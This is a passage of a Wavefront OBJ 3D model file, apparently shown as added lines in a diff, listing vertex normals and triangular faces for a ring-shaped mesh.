+vn 0.004300 0.130500 0.991400
+vn -0.004300 -0.130500 0.991400
+vn -0.012500 -0.382700 0.923800
+vn -0.019900 -0.608600 0.793200
+vn -0.026000 -0.793100 0.608600
+vn -0.030200 -0.923500 0.382500
+vn -0.032400 -0.990900 0.130500
+vn -0.032400 -0.990900 -0.130500
+vn -0.030200 -0.923500 -0.382500
+vn -0.026000 -0.793100 -0.608600
+vn -0.019900 -0.608600 -0.793200
+vn -0.012500 -0.382700 -0.923800
+vn -0.004300 -0.130500 -0.991400
+vn 0.004300 0.130500 -0.991400
+vn 0.012500 0.382700 -0.923800
+vn 0.019900 0.608600 -0.793200
+vn 0.026000 0.793100 -0.608600
+vn 0.030200 0.923500 -0.382500
+vn 0.032400 0.990900 -0.130500
+vn -0.032400 0.990900 0.130500
+vn -0.030200 0.923500 0.382500
+vn -0.026000 0.793100 0.608600
+vn -0.019900 0.608600 0.793200
+vn -0.012500 0.382700 0.923800
+vn -0.004300 0.130500 0.991400
+vn 0.004300 -0.130500 0.991400
+vn 0.012500 -0.382700 0.923800
+vn 0.019900 -0.608600 0.793200
+vn 0.026000 -0.793100 0.608600
+vn 0.030200 -0.923500 0.382500
+vn 0.032400 -0.990900 0.130500
+vn 0.032400 -0.990900 -0.130500
+vn 0.030200 -0.923500 -0.382500
+vn 0.026000 -0.793100 -0.608600
+vn 0.019900 -0.608600 -0.793200
+vn 0.012500 -0.382700 -0.923800
+vn 0.004300 -0.130500 -0.991400
+vn -0.004300 0.130500 -0.991400
+vn -0.012500 0.382700 -0.923800
+vn -0.019900 0.608600 -0.793200
+vn -0.026000 0.793100 -0.608600
+vn -0.030200 0.923500 -0.382500
+vn -0.032400 0.990900 -0.130500
+vn -0.097200 0.986700 0.130500
+vn -0.090600 0.919500 0.382500
+vn -0.077800 0.789700 0.608600
+vn -0.059700 0.606000 0.793200
+vn -0.037500 0.381000 0.923800
+vn -0.012800 0.130000 0.991400
+vn 0.012800 -0.130000 0.991400
+vn 0.037500 -0.381000 0.923800
+vn 0.059700 -0.606000 0.793200
+vn 0.077800 -0.789700 0.608600
+vn 0.090600 -0.919500 0.382500
+vn 0.097200 -0.986700 0.130500
+vn 0.097200 -0.986700 -0.130500
+vn 0.090600 -0.919500 -0.382500
+vn 0.077800 -0.789700 -0.608600
+vn 0.059700 -0.606000 -0.793200
+vn 0.037500 -0.381000 -0.923800
+vn 0.012800 -0.130000 -0.991400
+vn -0.012800 0.130000 -0.991400
+vn -0.037500 0.381000 -0.923800
+vn -0.059700 0.606000 -0.793200
+vn -0.077800 0.789700 -0.608600
+vn -0.090600 0.919500 -0.382500
+vn -0.097200 0.986700 -0.130500
+vn -0.161500 0.978200 0.130500
+vn -0.150500 0.911600 0.382500
+vn -0.129300 0.782900 0.608600
+vn -0.099200 0.600800 0.793200
+vn -0.062400 0.377700 0.923800
+vn -0.021300 0.128900 0.991400
+vn 0.021300 -0.128800 0.991400
+vn 0.062400 -0.377700 0.923800
+vn 0.099200 -0.600800 0.793200
+vn 0.129300 -0.782900 0.608600
+vn 0.150500 -0.911600 0.382500
+vn 0.161500 -0.978200 0.130500
+vn 0.161500 -0.978200 -0.130500
+vn 0.150500 -0.911600 -0.382500
+vn 0.129300 -0.782900 -0.608600
+vn 0.099200 -0.600800 -0.793200
+vn 0.062400 -0.377700 -0.923800
+vn 0.021300 -0.128900 -0.991400
+vn -0.021300 0.128900 -0.991400
+vn -0.062400 0.377700 -0.923800
+vn -0.099200 0.600800 -0.793200
+vn -0.129300 0.782900 -0.608600
+vn -0.150500 0.911600 -0.382500
+vn -0.161500 0.978200 -0.130500
+vn -0.225100 0.965600 0.130500
+vn -0.209800 0.899800 0.382500
+vn -0.180200 0.772800 0.608600
+vn -0.138300 0.593100 0.793200
+vn -0.086900 0.372900 0.923800
+vn -0.029700 0.127200 0.991400
+vn 0.029700 -0.127200 0.991400
+vn 0.086900 -0.372900 0.923800
+vn 0.138300 -0.593100 0.793200
+vn 0.180200 -0.772800 0.608600
+vn 0.209800 -0.899800 0.382500
+vn 0.225100 -0.965600 0.130500
+vn 0.225100 -0.965600 -0.130500
+vn 0.209800 -0.899800 -0.382500
+vn 0.180200 -0.772800 -0.608600
+vn 0.138300 -0.593100 -0.793200
+vn 0.086900 -0.372900 -0.923800
+vn 0.029700 -0.127200 -0.991400
+vn -0.029700 0.127200 -0.991400
+vn -0.086900 0.372900 -0.923800
+vn -0.138300 0.593100 -0.793200
+vn -0.180200 0.772800 -0.608600
+vn -0.209800 0.899800 -0.382500
+vn -0.225100 0.965600 -0.130500
+vn -0.287800 0.948800 0.130500
+vn -0.268200 0.884200 0.382500
+vn -0.230300 0.759300 0.608600
+vn -0.176800 0.582700 0.793200
+vn -0.111100 0.366400 0.923800
+vn -0.037900 0.125000 0.991400
+vn 0.037900 -0.125000 0.991400
+vn 0.111100 -0.366400 0.923800
+vn 0.176800 -0.582700 0.793200
+vn 0.230300 -0.759300 0.608600
+vn 0.268200 -0.884200 0.382500
+vn 0.287800 -0.948800 0.130500
+vn 0.287800 -0.948800 -0.130500
+vn 0.268200 -0.884200 -0.382500
+vn 0.230300 -0.759300 -0.608600
+vn 0.176800 -0.582700 -0.793200
+vn 0.111100 -0.366400 -0.923800
+vn 0.037900 -0.125000 -0.991400
+vn -0.037900 0.125000 -0.991400
+vn -0.111100 0.366400 -0.923800
+vn -0.176800 0.582700 -0.793200
+vn -0.230300 0.759300 -0.608600
+vn -0.268200 0.884200 -0.382500
+vn -0.287800 0.948800 -0.130500
+vn -0.349200 0.927900 0.130500
+vn -0.325500 0.864700 0.382500
+vn -0.279500 0.742600 0.608600
+vn -0.214500 0.569900 0.793200
+vn -0.134900 0.358300 0.923800
+vn -0.046000 0.122200 0.991400
+vn 0.046000 -0.122200 0.991400
+vn 0.134900 -0.358300 0.923800
+vn 0.214500 -0.569900 0.793200
+vn 0.279500 -0.742700 0.608600
+vn 0.325500 -0.864700 0.382500
+vn 0.349200 -0.927900 0.130500
+vn 0.349200 -0.927900 -0.130500
+vn 0.325500 -0.864700 -0.382500
+vn 0.279500 -0.742700 -0.608600
+vn 0.214500 -0.569900 -0.793200
+vn 0.134900 -0.358300 -0.923800
+vn 0.046000 -0.122200 -0.991400
+vn -0.046000 0.122200 -0.991400
+vn -0.134900 0.358300 -0.923800
+vn -0.214500 0.569900 -0.793200
+vn -0.279500 0.742600 -0.608600
+vn -0.325500 0.864700 -0.382500
+vn -0.349200 0.927900 -0.130500
+vn -0.409200 0.903100 0.130500
+vn -0.381300 0.841600 0.382500
+vn -0.327500 0.722800 0.608600
+vn -0.251300 0.554700 0.793200
+vn -0.158000 0.348700 0.923800
+vn -0.053900 0.119000 0.991400
+vn 0.053900 -0.119000 0.991400
+vn 0.158000 -0.348700 0.923800
+vn 0.251300 -0.554700 0.793200
+vn 0.327500 -0.722800 0.608600
+vn 0.381300 -0.841600 0.382500
+vn 0.409200 -0.903100 0.130500
+vn 0.409200 -0.903100 -0.130500
+vn 0.381300 -0.841600 -0.382500
+vn 0.327500 -0.722800 -0.608600
+vn 0.251300 -0.554700 -0.793200
+vn 0.158000 -0.348700 -0.923800
+vn 0.053900 -0.119000 -0.991400
+vn -0.053900 0.119000 -0.991400
+vn -0.158000 0.348700 -0.923800
+vn -0.251300 0.554700 -0.793200
+vn -0.327500 0.722800 -0.608600
+vn -0.381300 0.841600 -0.382500
+vn -0.409200 0.903100 -0.130500
+vn -0.467400 0.874400 0.130500
+vn -0.435500 0.814900 0.382500
+vn -0.374100 0.699800 0.608600
+vn -0.287100 0.537100 0.793200
+vn -0.180500 0.337700 0.923800
+vn -0.061600 0.115200 0.991400
+vn 0.061600 -0.115200 0.991400
+vn 0.180500 -0.337700 0.923800
+vn 0.287100 -0.537100 0.793200
+vn 0.374100 -0.699800 0.608600
+vn 0.435500 -0.814900 0.382500
+vn 0.467400 -0.874400 0.130500
+vn 0.467400 -0.874400 -0.130500
+vn 0.435500 -0.814900 -0.382500
+vn 0.374100 -0.699800 -0.608600
+vn 0.287100 -0.537100 -0.793200
+vn 0.180500 -0.337700 -0.923800
+vn 0.061600 -0.115200 -0.991400
+vn -0.061600 0.115200 -0.991400
+vn -0.180500 0.337700 -0.923800
+vn -0.287100 0.537100 -0.793200
+vn -0.374100 0.699800 -0.608600
+vn -0.435500 0.814900 -0.382500
+vn -0.467400 0.874400 -0.130500
+vn -0.523600 0.841900 0.130500
+vn -0.487900 0.784600 0.382500
+vn -0.419000 0.673900 0.608600
+vn -0.321600 0.517100 0.793200
+vn -0.202200 0.325100 0.923800
+vn -0.069000 0.110900 0.991400
+vn 0.069000 -0.110900 0.991400
+vn 0.202200 -0.325100 0.923800
+vn 0.321600 -0.517100 0.793200
+vn 0.419000 -0.673900 0.608600
+vn 0.487900 -0.784600 0.382500
+vn 0.523600 -0.841900 0.130500
+vn 0.523600 -0.841900 -0.130500
+vn 0.487900 -0.784600 -0.382500
+vn 0.419000 -0.673900 -0.608600
+vn 0.321600 -0.517100 -0.793200
+vn 0.202200 -0.325100 -0.923800
+vn 0.069000 -0.110900 -0.991400
+vn -0.069000 0.110900 -0.991400
+vn -0.202200 0.325100 -0.923800
+vn -0.321600 0.517100 -0.793200
+vn -0.419000 0.673900 -0.608600
+vn -0.487900 0.784600 -0.382500
+vn -0.523600 0.841900 -0.130500
+vn -0.577500 0.805900 0.130500
+vn -0.538200 0.751000 0.382500
+vn -0.462200 0.645000 0.608600
+vn -0.354700 0.495000 0.793200
+vn -0.223000 0.311200 0.923800
+vn -0.076100 0.106200 0.991400
+vn 0.076100 -0.106200 0.991400
+vn 0.223000 -0.311200 0.923800
+vn 0.354700 -0.495000 0.793200
+vn 0.462200 -0.645000 0.608600
+vn 0.538200 -0.751000 0.382500
+vn 0.577500 -0.805900 0.130500
+vn 0.577500 -0.805900 -0.130500
+vn 0.538200 -0.751000 -0.382500
+vn 0.462200 -0.645000 -0.608600
+vn 0.354700 -0.495000 -0.793200
+vn 0.223000 -0.311200 -0.923800
+vn 0.076100 -0.106200 -0.991400
+vn -0.076100 0.106200 -0.991400
+vn -0.223000 0.311200 -0.923800
+vn -0.354700 0.495000 -0.793200
+vn -0.462200 0.645000 -0.608600
+vn -0.538200 0.751000 -0.382500
+vn -0.577500 0.805900 -0.130500
+vn -0.629000 0.766400 0.130500
+vn -0.586100 0.714200 0.382500
+vn -0.503400 0.613400 0.608600
+vn -0.386300 0.470700 0.793200
+vn -0.242900 0.296000 0.923800
+vn -0.082800 0.101000 0.991400
+vn 0.082800 -0.101000 0.991400
+vn 0.242900 -0.296000 0.923800
+vn 0.386300 -0.470700 0.793200
+vn 0.503400 -0.613400 0.608600
+vn 0.586100 -0.714200 0.382500
+vn 0.629000 -0.766400 0.130500
+vn 0.629000 -0.766400 -0.130500
+vn 0.586100 -0.714200 -0.382500
+vn 0.503400 -0.613400 -0.608600
+vn 0.386300 -0.470700 -0.793200
+vn 0.242900 -0.296000 -0.923800
+vn 0.082800 -0.101000 -0.991400
+vn -0.082800 0.101000 -0.991400
+vn -0.242900 0.296000 -0.923800
+vn -0.386300 0.470700 -0.793200
+vn -0.503400 0.613400 -0.608600
+vn -0.586100 0.714200 -0.382500
+vn -0.629000 0.766400 -0.130500
+vn -0.677800 0.723600 0.130500
+vn -0.631600 0.674400 0.382500
+vn -0.542400 0.579200 0.608600
+vn -0.416300 0.444500 0.793200
+vn -0.261700 0.279400 0.923800
+vn -0.089300 0.095300 0.991400
+vn 0.089300 -0.095300 0.991400
+vn 0.261700 -0.279400 0.923800
+vn 0.416300 -0.444500 0.793200
+vn 0.542400 -0.579200 0.608600
+vn 0.631600 -0.674400 0.382500
+vn 0.677800 -0.723600 0.130500
+vn 0.677800 -0.723600 -0.130500
+vn 0.631600 -0.674400 -0.382500
+vn 0.542400 -0.579200 -0.608600
+vn 0.416300 -0.444500 -0.793200
+vn 0.261700 -0.279400 -0.923800
+vn 0.089300 -0.095300 -0.991400
+vn -0.089300 0.095300 -0.991400
+vn -0.261700 0.279400 -0.923800
+vn -0.416300 0.444500 -0.793200
+vn -0.542400 0.579200 -0.608600
+vn -0.631600 0.674400 -0.382500
+vn -0.677800 0.723600 -0.130500
+vn -0.723600 0.677800 0.130500
+vn -0.674400 0.631600 0.382500
+vn -0.579200 0.542400 0.608600
+vn -0.444500 0.416300 0.793200
+vn -0.279400 0.261700 0.923800
+vn -0.095300 0.089300 0.991400
+vn 0.095300 -0.089300 0.991400
+vn 0.279400 -0.261700 0.923800
+vn 0.444500 -0.416300 0.793200
+vn 0.579200 -0.542400 0.608600
+vn 0.674400 -0.631600 0.382500
+vn 0.723600 -0.677800 0.130500
+vn 0.723600 -0.677800 -0.130500
+vn 0.674400 -0.631600 -0.382500
+vn 0.579200 -0.542400 -0.608600
+vn 0.444500 -0.416300 -0.793200
+vn 0.279400 -0.261700 -0.923800
+vn 0.095300 -0.089300 -0.991400
+vn -0.095300 0.089300 -0.991400
+vn -0.279400 0.261700 -0.923800
+vn -0.444500 0.416300 -0.793200
+vn -0.579200 0.542400 -0.608600
+vn -0.674400 0.631600 -0.382500
+vn -0.723600 0.677700 -0.130500
+vn -0.766400 0.629000 0.130500
+vn -0.714200 0.586100 0.382500
+vn -0.613400 0.503400 0.608600
+vn -0.470700 0.386300 0.793200
+vn -0.296000 0.242900 0.923800
+vn -0.101000 0.082800 0.991400
+vn 0.101000 -0.082800 0.991400
+vn 0.296000 -0.242900 0.923800
+vn 0.470700 -0.386300 0.793200
+vn 0.613400 -0.503400 0.608600
+vn 0.714200 -0.586200 0.382500
+vn 0.766400 -0.629000 0.130500
+vn 0.766400 -0.629000 -0.130500
+vn 0.714200 -0.586100 -0.382500
+vn 0.613400 -0.503400 -0.608600
+vn 0.470700 -0.386300 -0.793200
+vn 0.296000 -0.242900 -0.923800
+vn 0.101000 -0.082800 -0.991400
+vn -0.101000 0.082800 -0.991400
+vn -0.296000 0.242900 -0.923800
+vn -0.470700 0.386300 -0.793200
+vn -0.613400 0.503400 -0.608600
+vn -0.714200 0.586100 -0.382500
+vn -0.766400 0.629000 -0.130500
+vn -0.805900 0.577500 0.130500
+vn -0.751000 0.538200 0.382500
+vn -0.645000 0.462200 0.608600
+vn -0.495000 0.354700 0.793200
+vn -0.311200 0.223000 0.923800
+vn -0.106200 0.076100 0.991400
+vn 0.106200 -0.076100 0.991400
+vn 0.311200 -0.223000 0.923800
+vn 0.495000 -0.354700 0.793200
+vn 0.645000 -0.462200 0.608600
+vn 0.751000 -0.538200 0.382500
+vn 0.805900 -0.577500 0.130500
+vn 0.805900 -0.577500 -0.130500
+vn 0.751000 -0.538200 -0.382500
+vn 0.645000 -0.462200 -0.608600
+vn 0.495000 -0.354700 -0.793200
+vn 0.311200 -0.223000 -0.923800
+vn 0.106200 -0.076100 -0.991400
+vn -0.106200 0.076100 -0.991400
+vn -0.311200 0.223000 -0.923800
+vn -0.495000 0.354700 -0.793200
+vn -0.645000 0.462200 -0.608600
+vn -0.751000 0.538200 -0.382500
+vn -0.805900 0.577500 -0.130500
+vn -0.841900 0.523600 0.130500
+vn -0.784600 0.487900 0.382500
+vn -0.673800 0.419000 0.608600
+vn -0.517100 0.321600 0.793200
+vn -0.325100 0.202200 0.923800
+vn -0.110900 0.069000 0.991400
+vn 0.110900 -0.069000 0.991400
+vn 0.325100 -0.202200 0.923800
+vn 0.517100 -0.321600 0.793200
+vn 0.673800 -0.419000 0.608600
+vn 0.784600 -0.487900 0.382500
+vn 0.841900 -0.523600 0.130500
+vn 0.841900 -0.523600 -0.130500
+vn 0.784600 -0.487900 -0.382500
+vn 0.673800 -0.419000 -0.608600
+vn 0.517100 -0.321600 -0.793200
+vn 0.325100 -0.202200 -0.923800
+vn 0.110900 -0.069000 -0.991400
+vn -0.110900 0.069000 -0.991400
+vn -0.325100 0.202200 -0.923800
+vn -0.517100 0.321600 -0.793200
+vn -0.673900 0.419000 -0.608600
+vn -0.784600 0.487900 -0.382500
+vn -0.841900 0.523600 -0.130500
+vn -0.874400 0.467400 0.130500
+vn -0.814900 0.435500 0.382500
+vn -0.699800 0.374100 0.608600
+vn -0.537100 0.287100 0.793200
+vn -0.337700 0.180500 0.923800
+vn -0.115200 0.061600 0.991400
+vn 0.115200 -0.061600 0.991400
+vn 0.337700 -0.180500 0.923800
+vn 0.537100 -0.287100 0.793200
+vn 0.699800 -0.374100 0.608600
+vn 0.814900 -0.435500 0.382500
+vn 0.874400 -0.467400 0.130500
+vn 0.874400 -0.467400 -0.130500
+vn 0.814900 -0.435500 -0.382500
+vn 0.699800 -0.374100 -0.608600
+vn 0.537100 -0.287100 -0.793200
+vn 0.337700 -0.180500 -0.923800
+vn 0.115200 -0.061600 -0.991400
+vn -0.115200 0.061600 -0.991400
+vn -0.337700 0.180500 -0.923800
+vn -0.537100 0.287100 -0.793200
+vn -0.699800 0.374100 -0.608600
+vn -0.814900 0.435500 -0.382500
+vn -0.874400 0.467400 -0.130500
+vn -0.903100 0.409200 0.130500
+vn -0.841600 0.381300 0.382500
+vn -0.722800 0.327500 0.608600
+vn -0.554700 0.251300 0.793200
+vn -0.348700 0.158000 0.923800
+vn -0.119000 0.053900 0.991400
+vn 0.119000 -0.053900 0.991400
+vn 0.348700 -0.158000 0.923800
+vn 0.554700 -0.251300 0.793200
+vn 0.722800 -0.327500 0.608600
+vn 0.841600 -0.381300 0.382500
+vn 0.903100 -0.409200 0.130500
+vn 0.903100 -0.409200 -0.130500
+vn 0.841600 -0.381300 -0.382500
+vn 0.722800 -0.327500 -0.608600
+vn 0.554700 -0.251300 -0.793200
+vn 0.348700 -0.158000 -0.923800
+vn 0.119000 -0.053900 -0.991400
+vn -0.119000 0.053900 -0.991400
+vn -0.348700 0.158000 -0.923800
+vn -0.554700 0.251300 -0.793200
+vn -0.722800 0.327500 -0.608600
+vn -0.841600 0.381300 -0.382500
+vn -0.903100 0.409200 -0.130500
+vn -0.927900 0.349200 0.130500
+vn -0.864700 0.325500 0.382500
+vn -0.742600 0.279500 0.608600
+vn -0.569900 0.214500 0.793200
+vn -0.358300 0.134900 0.923800
+vn -0.122200 0.046000 0.991400
+vn 0.122200 -0.046000 0.991400
+vn 0.358300 -0.134900 0.923800
+vn 0.569900 -0.214500 0.793200
+vn 0.742700 -0.279500 0.608600
+vn 0.864700 -0.325500 0.382500
+vn 0.927900 -0.349200 0.130500
+vn 0.927900 -0.349200 -0.130500
+vn 0.864700 -0.325500 -0.382500
+vn 0.742700 -0.279500 -0.608600
+vn 0.569900 -0.214500 -0.793200
+vn 0.358300 -0.134900 -0.923800
+vn 0.122200 -0.046000 -0.991400
+vn -0.122200 0.046000 -0.991400
+vn -0.358300 0.134900 -0.923800
+vn -0.569900 0.214500 -0.793200
+vn -0.742600 0.279500 -0.608600
+vn -0.864700 0.325500 -0.382500
+vn -0.927900 0.349200 -0.130500
+vn -0.948800 0.287800 0.130500
+vn -0.884200 0.268200 0.382500
+vn -0.759300 0.230300 0.608600
+vn -0.582700 0.176800 0.793200
+vn -0.366400 0.111100 0.923800
+vn -0.125000 0.037900 0.991400
+vn 0.125000 -0.037900 0.991400
+vn 0.366400 -0.111100 0.923800
+vn 0.582700 -0.176800 0.793200
+vn 0.759300 -0.230300 0.608600
+vn 0.884200 -0.268200 0.382500
+vn 0.948800 -0.287800 0.130500
+vn 0.948800 -0.287800 -0.130500
+vn 0.884200 -0.268200 -0.382500
+vn 0.759300 -0.230300 -0.608600
+vn 0.582700 -0.176800 -0.793200
+vn 0.366400 -0.111100 -0.923800
+vn 0.125000 -0.037900 -0.991400
+vn -0.125000 0.037900 -0.991400
+vn -0.366400 0.111100 -0.923800
+vn -0.582700 0.176800 -0.793200
+vn -0.759300 0.230300 -0.608600
+vn -0.884200 0.268200 -0.382500
+vn -0.948800 0.287800 -0.130500
+vn -0.965600 0.225100 0.130500
+vn -0.899800 0.209800 0.382500
+vn -0.772800 0.180200 0.608600
+vn -0.593100 0.138300 0.793200
+vn -0.372900 0.086900 0.923800
+vn -0.127200 0.029700 0.991400
+vn 0.127200 -0.029700 0.991400
+vn 0.372900 -0.086900 0.923800
+vn 0.593100 -0.138300 0.793200
+vn 0.772800 -0.180200 0.608600
+vn 0.899800 -0.209800 0.382500
+vn 0.965600 -0.225100 0.130500
+vn 0.965600 -0.225100 -0.130500
+vn 0.899800 -0.209800 -0.382500
+vn 0.772800 -0.180200 -0.608600
+vn 0.593100 -0.138300 -0.793200
+vn 0.372900 -0.086900 -0.923800
+vn 0.127200 -0.029700 -0.991400
+vn -0.127200 0.029700 -0.991400
+vn -0.372900 0.086900 -0.923800
+vn -0.593100 0.138300 -0.793200
+vn -0.772800 0.180200 -0.608600
+vn -0.899800 0.209800 -0.382500
+vn -0.965600 0.225100 -0.130500
+vn -0.978200 0.161500 0.130500
+vn -0.911600 0.150500 0.382500
+vn -0.782900 0.129300 0.608600
+vn -0.600800 0.099200 0.793200
+vn -0.377700 0.062400 0.923800
+vn -0.128900 0.021300 0.991400
+vn 0.128900 -0.021300 0.991400
+vn 0.377700 -0.062400 0.923800
+vn 0.600800 -0.099200 0.793200
+vn 0.782900 -0.129300 0.608600
+vn 0.911600 -0.150500 0.382500
+vn 0.978200 -0.161500 0.130500
+vn 0.978200 -0.161500 -0.130500
+vn 0.911600 -0.150500 -0.382500
+vn 0.782900 -0.129300 -0.608600
+vn 0.600800 -0.099200 -0.793200
+vn 0.377700 -0.062400 -0.923800
+vn 0.128900 -0.021300 -0.991400
+vn -0.128900 0.021300 -0.991400
+vn -0.377700 0.062400 -0.923800
+vn -0.600800 0.099200 -0.793200
+vn -0.782900 0.129300 -0.608600
+vn -0.911600 0.150500 -0.382500
+vn -0.978200 0.161500 -0.130500
+vn -0.986700 0.097200 0.130500
+vn -0.919500 0.090600 0.382500
+vn -0.789700 0.077800 0.608600
+vn -0.606000 0.059700 0.793200
+vn -0.381000 0.037500 0.923800
+vn -0.130000 0.012800 0.991400
+vn 0.130000 -0.012800 0.991400
+vn 0.381000 -0.037500 0.923800
+vn 0.606000 -0.059700 0.793200
+vn 0.789700 -0.077800 0.608600
+vn 0.919500 -0.090600 0.382500
+vn 0.986700 -0.097200 0.130500
+vn 0.986700 -0.097200 -0.130500
+vn 0.919500 -0.090600 -0.382500
+vn 0.789700 -0.077800 -0.608600
+vn 0.606000 -0.059700 -0.793200
+vn 0.381000 -0.037500 -0.923800
+vn 0.130000 -0.012800 -0.991400
+vn -0.130000 0.012800 -0.991400
+vn -0.381000 0.037500 -0.923800
+vn -0.606000 0.059700 -0.793200
+vn -0.789700 0.077800 -0.608600
+vn -0.919500 0.090600 -0.382500
+vn -0.986700 0.097200 -0.130500
+vn -0.990900 0.032400 0.130500
+vn -0.923500 0.030200 0.382500
+vn -0.793100 0.026000 0.608600
+vn -0.608600 0.019900 0.793200
+vn -0.382700 0.012500 0.923800
+vn -0.130500 0.004300 0.991400
+vn 0.130500 -0.004300 0.991400
+vn 0.382700 -0.012500 0.923800
+vn 0.608600 -0.019900 0.793200
+vn 0.793100 -0.026000 0.608600
+vn 0.923500 -0.030200 0.382500
+vn 0.990900 -0.032400 0.130500
+vn 0.990900 -0.032400 -0.130500
+vn 0.923500 -0.030200 -0.382500
+vn 0.793100 -0.026000 -0.608600
+vn 0.608600 -0.019900 -0.793200
+vn 0.382700 -0.012500 -0.923800
+vn 0.130500 -0.004300 -0.991400
+vn -0.130500 0.004300 -0.991400
+vn -0.382700 0.012500 -0.923800
+vn -0.608600 0.019900 -0.793200
+vn -0.793100 0.026000 -0.608600
+vn -0.923500 0.030200 -0.382500
+vn -0.990900 0.032400 -0.130500
+vn -0.128800 -0.021300 0.991400
+vn 0.128800 0.021300 0.991400
+vn 0.814900 0.435500 0.382500
+vn 0.673900 0.419000 0.608600
+vn 0.673900 0.419000 -0.608600
+vn -0.723600 -0.677800 0.130500
+vn 0.723600 0.677700 0.130500
+vn 0.723600 0.677700 -0.130500
+vn -0.629000 -0.766400 0.130400
+vn -0.586200 -0.714200 0.382500
+vn 0.586200 0.714200 0.382500
+vn 0.586200 0.714200 -0.382500
+vn -0.586200 -0.714200 -0.382500
+vn -0.629000 -0.766400 -0.130400
+vn 0.419000 0.673900 0.608600
+vn 0.279500 0.742700 0.608600
+vn 0.279500 0.742700 -0.608600
+vn -0.032400 -0.990900 0.130400
+vn -0.032400 -0.990900 -0.130400
+vn 0.021300 -0.128900 0.991400
+vn 0.279500 -0.742600 0.608600
+vn -0.279500 0.742700 0.608600
+vn -0.279500 0.742700 -0.608600
+vn 0.279500 -0.742600 -0.608600
+vn -0.180500 0.337600 0.923800
+vn -0.180500 0.337600 -0.923800
+vn 0.419000 -0.673800 0.608600
+vn 0.419000 -0.673800 -0.608600
+vn 0.586200 -0.714200 0.382500
+vn 0.586200 -0.714200 -0.382500
+vn 0.677700 -0.723600 0.130500
+vn -0.677700 0.723600 -0.130500
+vn 0.714200 -0.586100 0.382500
+vn 0.673900 -0.419000 0.608600
+vn -0.673900 0.419000 0.608600
+vn 0.673900 -0.419000 -0.608600
+vn 0.337600 -0.180500 -0.923800
+vn 0.742600 -0.279500 0.608600
+vn -0.742700 0.279500 0.608600
+vn -0.742700 0.279500 -0.608600
+vn 0.742600 -0.279500 -0.608600
+vn -0.128800 -0.021300 -0.991400
+vn 0.128800 0.021300 -0.991400
+vn 0.337600 0.180500 0.923800
+vn 0.677700 0.723600 0.130500
+vn -0.677700 -0.723600 0.130500
+vn 0.419000 0.673800 -0.608600
+vn -0.180500 -0.337600 0.923800
+vn -0.180500 -0.337600 -0.923800
+vn 0.180500 0.337600 -0.923800
+vn -0.279500 -0.742600 0.608600
+vn -0.279500 -0.742600 -0.608600
+vn -0.180200 -0.772800 0.608500
+vn -0.032400 0.990900 0.130400
+vn -0.032400 0.990900 -0.130400
+vn -0.021300 0.128800 0.991400
+vn -0.419000 0.673800 -0.608600
+vn 0.723600 -0.677700 0.130500
+vn 0.723600 -0.677700 -0.130500
+vn -0.723600 0.677800 -0.130500
+vn 0.128800 -0.021300 -0.991400
+vn -0.128800 0.021300 -0.991400
+vn -0.742600 -0.279500 0.608600
+vn -0.742600 -0.279500 -0.608600
+vn -0.673800 -0.419000 0.608600
+vn -0.673800 -0.419000 -0.608600
+vn -0.419000 -0.673800 0.608600
+vn -0.419000 -0.673800 -0.608600
+vn -0.021300 -0.128800 -0.991400
+vn 0.021300 -0.128800 -0.991400
+vn -0.677700 0.723600 0.130500
+vn 0.677700 -0.723600 -0.130500
+vn 0.814900 -0.435600 0.382500
+vn -0.814900 0.435600 -0.382500
+vn 0.814900 -0.435600 -0.382500
+s off
+f 25//1 26//1 2//1
+f 26//2 27//2 3//2
+f 3//3 27//3 28//3
+f 28//4 29//4 5//4
+f 5//5 29//5 30//5
+f 30//6 31//6 7//6
+f 31//7 32//7 8//7
+f 32//8 33//8 9//8
+f 9//9 33//9 34//9
+f 34//10 35//10 11//10
+f 35//11 36//11 12//11
+f 36//12 37//12 13//12
+f 13//13 37//13 38//13
+f 14//14 38//14 39//14
+f 39//15 40//15 16//15
+f 40//16 41//16 17//16
+f 41//17 42//17 18//17
+f 18//18 42//18 43//18
+f 19//19 43//19 44//19
+f 44//20 45//20 21//20
+f 45//21 46//21 22//21
+f 46//22 47//22 23//22
+f 23//23 47//23 48//23
+f 24//24 48//24 25//24
+f 49//25 50//25 26//25
+f 26//26 50//26 51//26
+f 27//27 51//27 52//27
+f 28//28 52//28 53//28
+f 29//29 53//29 54//29
+f 54//30 55//30 31//30
+f 31//31 55//31 56//31
+f 32//32 56//32 57//32
+f 33//33 57//33 58//33
+f 34//34 58//34 59//34
+f 35//35 59//35 60//35
+f 36//36 60//36 61//36
+f 61//37 62//37 38//37
+f 62//38 63//38 39//38
+f 63//39 64//39 40//39
+f 64//40 65//40 41//40
+f 65//41 66//41 42//41
+f 66//42 67//42 43//42
+f 67//43 68//43 44//43
+f 68//44 69//44 45//44
+f 69//45 70//45 46//45
+f 70//46 71//46 47//46
+f 71//47 72//47 48//47
+f 48//48 72//48 49//48
+f 73//49 74//49 50//49
+f 50//50 74//50 75//50
+f 75//51 76//51 52//51
+f 76//52 77//52 53//52
+f 77//53 78//53 54//53
+f 54//54 78//54 79//54
+f 79//55 80//55 56//55
+f 80//56 81//56 57//56
+f 81//57 82//57 58//57
+f 82//58 83//58 59//58
+f 59//59 83//59 84//59
+f 60//60 84//60 85//60
+f 85//61 86//61 62//61
+f 86//62 87//62 63//62
+f 87//63 88//63 64//63
+f 64//64 88//64 89//64
+f 89//65 90//65 66//65
+f 90//66 91//66 67//66
+f 67//67 91//67 92//67
+f 68//68 92//68 93//68
+f 69//69 93//69 94//69
+f 70//70 94//70 95//70
+f 95//71 96//71 72//71
+f 96//72 73//72 49//72
+f 97//73 98//73 74//73
+f 98//74 99//74 75//74
+f 75//75 99//75 100//75
+f 76//76 100//76 101//76
+f 77//77 101//77 102//77
+f 78//78 102//78 103//78
+f 79//79 103//79 104//79
+f 80//80 104//80 105//80
+f 81//81 105//81 106//81
+f 106//82 107//82 83//82
+f 83//83 107//83 108//83
+f 108//84 109//84 85//84
+f 85//85 109//85 110//85
+f 110//86 111//86 87//86
+f 87//87 111//87 112//87
+f 112//88 113//88 89//88
+f 113//89 114//89 90//89
+f 114//90 115//90 91//90
+f 115//91 116//91 92//91
+f 116//92 117//92 93//92
+f 117//93 118//93 94//93
+f 118//94 119//94 95//94
+f 95//95 119//95 120//95
+f 120//96 97//96 73//96
+f 121//97 122//97 98//97
+f 98//98 122//98 123//98
+f 123//99 124//99 100//99
+f 124//100 125//100 101//100
+f 125//101 126//101 102//101
+f 126//102 127//102 103//102
+f 127//103 128//103 104//103
+f 128//104 129//104 105//104
+f 129//105 130//105 106//105
